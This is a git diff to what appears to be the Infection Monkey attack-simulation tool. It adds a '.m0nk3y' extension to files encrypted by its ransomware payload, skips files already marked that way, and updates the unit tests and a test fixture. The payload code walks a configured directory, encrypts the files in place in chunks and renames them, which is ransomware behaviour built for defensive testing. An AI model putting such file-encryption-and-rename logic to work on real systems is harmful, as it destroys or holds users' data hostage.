diff --git a/monkey/infection_monkey/ransomware/ransomware_payload.py b/monkey/infection_monkey/ransomware/ransomware_payload.py index 6e5b99067..ca48e0b3e 100644 --- a/monkey/infection_monkey/ransomware/ransomware_payload.py +++ b/monkey/infection_monkey/ransomware/ransomware_payload.py @@ -15,6 +15,7 @@ from infection_monkey.utils.environment import is_windows_os LOG = logging.getLogger(__name__) CHUNK_SIZE = 64 +EXTENSION = ".m0nk3y" class RansomewarePayload: @@ -23,6 +24,8 @@ class RansomewarePayload: LOG.info(f"Linux dir configured for encryption is {config['linux_dir']}") self.target_dir = Path(config["windows_dir"] if is_windows_os() else config["linux_dir"]) + self._valid_file_extensions_for_encryption = VALID_FILE_EXTENSIONS_FOR_ENCRYPTION.copy() + self._valid_file_extensions_for_encryption.discard(EXTENSION) def run_payload(self): file_list = self._find_files() @@ -30,7 +33,7 @@ class RansomewarePayload: def _find_files(self): file_filters = [ - file_extension_filter(VALID_FILE_EXTENSIONS_FOR_ENCRYPTION), + file_extension_filter(self._valid_file_extensions_for_encryption), is_not_shortcut_filter, is_not_symlink_filter, ] @@ -41,6 +44,7 @@ class RansomewarePayload: def _encrypt_files(self, file_list): for filepath in file_list: self._encrypt_file(filepath) + self._add_extension(filepath) def _encrypt_file(self, filepath): with open(filepath, "rb+") as f: @@ -54,3 +58,7 @@ class RansomewarePayload: f.write(encrypted_data) data = f.read(CHUNK_SIZE) + + def _add_extension(self, filepath: Path): + new_filepath = filepath.with_suffix(f"{filepath.suffix}{EXTENSION}") + filepath.rename(new_filepath) diff --git a/monkey/tests/data_for_tests/ransomware_targets/already_encrypted.txt.m0nk3y b/monkey/tests/data_for_tests/ransomware_targets/already_encrypted.txt.m0nk3y new file mode 100644 index 000000000..70a0a237a --- /dev/null +++ b/monkey/tests/data_for_tests/ransomware_targets/already_encrypted.txt.m0nk3y @@ -0,0 +1 @@ +Monkey see, Monkey do. diff --git a/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py b/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py index 2a066fbb9..e7dbe8964 100644 --- a/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py +++ b/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py @@ -8,14 +8,20 @@ from tests.utils import is_user_admin from infection_monkey.ransomware.ransomware_payload import RansomewarePayload +EXTENSION = ".m0nk3y" + SUBDIR = "subdir" ALL_ZEROS_PDF = "all_zeros.pdf" +ALREADY_ENCRYPTED_TXT_M0NK3Y = "already_encrypted.txt.m0nk3y" HELLO_TXT = "hello.txt" SHORTCUT_LNK = "shortcut.lnk" TEST_KEYBOARD_TXT = "test_keyboard.txt" TEST_LIB_DLL = "test_lib.dll" ALL_ZEROS_PDF_CLEARTEXT_SHA256 = "ab3df617aaa3140f04dc53f65b5446f34a6b2bdbb1f7b78db8db4d067ba14db9" +ALREADY_ENCRYPTED_TXT_M0NK3Y_CLEARTEXT_SHA256 = ( + "ff5e58498962ab8bd619d3a9cd24b9298e7efc25b4967b1ce3f03b0e6de2aa7a" +) HELLO_TXT_CLEARTEXT_SHA256 = "0ba904eae8773b70c75333db4de2f3ac45a8ad4ddba1b242f0b3cfc199391dd8" SHORTCUT_LNK_CLEARTEXT_SHA256 = "5069c8b7c3c70fad55bf0f0790de787080b1b4397c4749affcd3e570ff53aad9" TEST_KEYBOARD_TXT_CLEARTEXT_SHA256 = ( @@ -38,6 +44,10 @@ def hash_file(filepath: Path): return sha256.hexdigest() +def with_extension(filename): + return f"{filename}{EXTENSION}" + + @pytest.fixture def ransomware_target(tmp_path, data_for_tests_dir): ransomware_target_data = Path(data_for_tests_dir) / "ransomware_targets" @@ -87,8 +97,11 @@ def test_file_with_included_extension_encrypted(tmp_path, ransomware_payload): ransomware_payload.run_payload() - assert hash_file(tmp_path / ALL_ZEROS_PDF) == ALL_ZEROS_PDF_ENCRYPTED_SHA256 - assert hash_file(tmp_path / TEST_KEYBOARD_TXT) == TEST_KEYBOARD_TXT_ENCRYPTED_SHA256 + assert hash_file(tmp_path / with_extension(ALL_ZEROS_PDF)) == ALL_ZEROS_PDF_ENCRYPTED_SHA256 + assert ( + hash_file(tmp_path / with_extension(TEST_KEYBOARD_TXT)) + == TEST_KEYBOARD_TXT_ENCRYPTED_SHA256 + ) def test_file_encrypted_in_place(tmp_path, ransomware_payload): @@ -97,18 +110,34 @@ def test_file_encrypted_in_place(tmp_path, ransomware_payload): ransomware_payload.run_payload() - actual_all_zeros_inode = os.stat(tmp_path / ALL_ZEROS_PDF).st_ino - actual_test_keyboard_inode = os.stat(tmp_path / TEST_KEYBOARD_TXT).st_ino + actual_all_zeros_inode = os.stat(tmp_path / with_extension(ALL_ZEROS_PDF)).st_ino + actual_test_keyboard_inode = os.stat(tmp_path / with_extension(TEST_KEYBOARD_TXT)).st_ino assert expected_all_zeros_inode == actual_all_zeros_inode assert expected_test_keyboard_inode == actual_test_keyboard_inode def test_encryption_reversible(tmp_path, ransomware_payload): - assert hash_file(tmp_path / TEST_KEYBOARD_TXT) == TEST_KEYBOARD_TXT_CLEARTEXT_SHA256 + orig_path = tmp_path / TEST_KEYBOARD_TXT + new_path = tmp_path / with_extension(TEST_KEYBOARD_TXT) + assert hash_file(orig_path) == TEST_KEYBOARD_TXT_CLEARTEXT_SHA256 ransomware_payload.run_payload() - assert hash_file(tmp_path / TEST_KEYBOARD_TXT) == TEST_KEYBOARD_TXT_ENCRYPTED_SHA256 + assert hash_file(new_path) == TEST_KEYBOARD_TXT_ENCRYPTED_SHA256 + new_path.rename(orig_path) ransomware_payload.run_payload() - assert hash_file(tmp_path / TEST_KEYBOARD_TXT) == TEST_KEYBOARD_TXT_CLEARTEXT_SHA256 + assert ( + hash_file(tmp_path / with_extension(TEST_KEYBOARD_TXT)) + == TEST_KEYBOARD_TXT_CLEARTEXT_SHA256 + ) + + +def test_skip_already_encrypted_file(tmp_path, ransomware_payload): + ransomware_payload.run_payload() + + assert not (tmp_path / with_extension(ALREADY_ENCRYPTED_TXT_M0NK3Y)).exists() + assert ( + hash_file(tmp_path / ALREADY_ENCRYPTED_TXT_M0NK3Y) + == ALREADY_ENCRYPTED_TXT_M0NK3Y_CLEARTEXT_SHA256 + )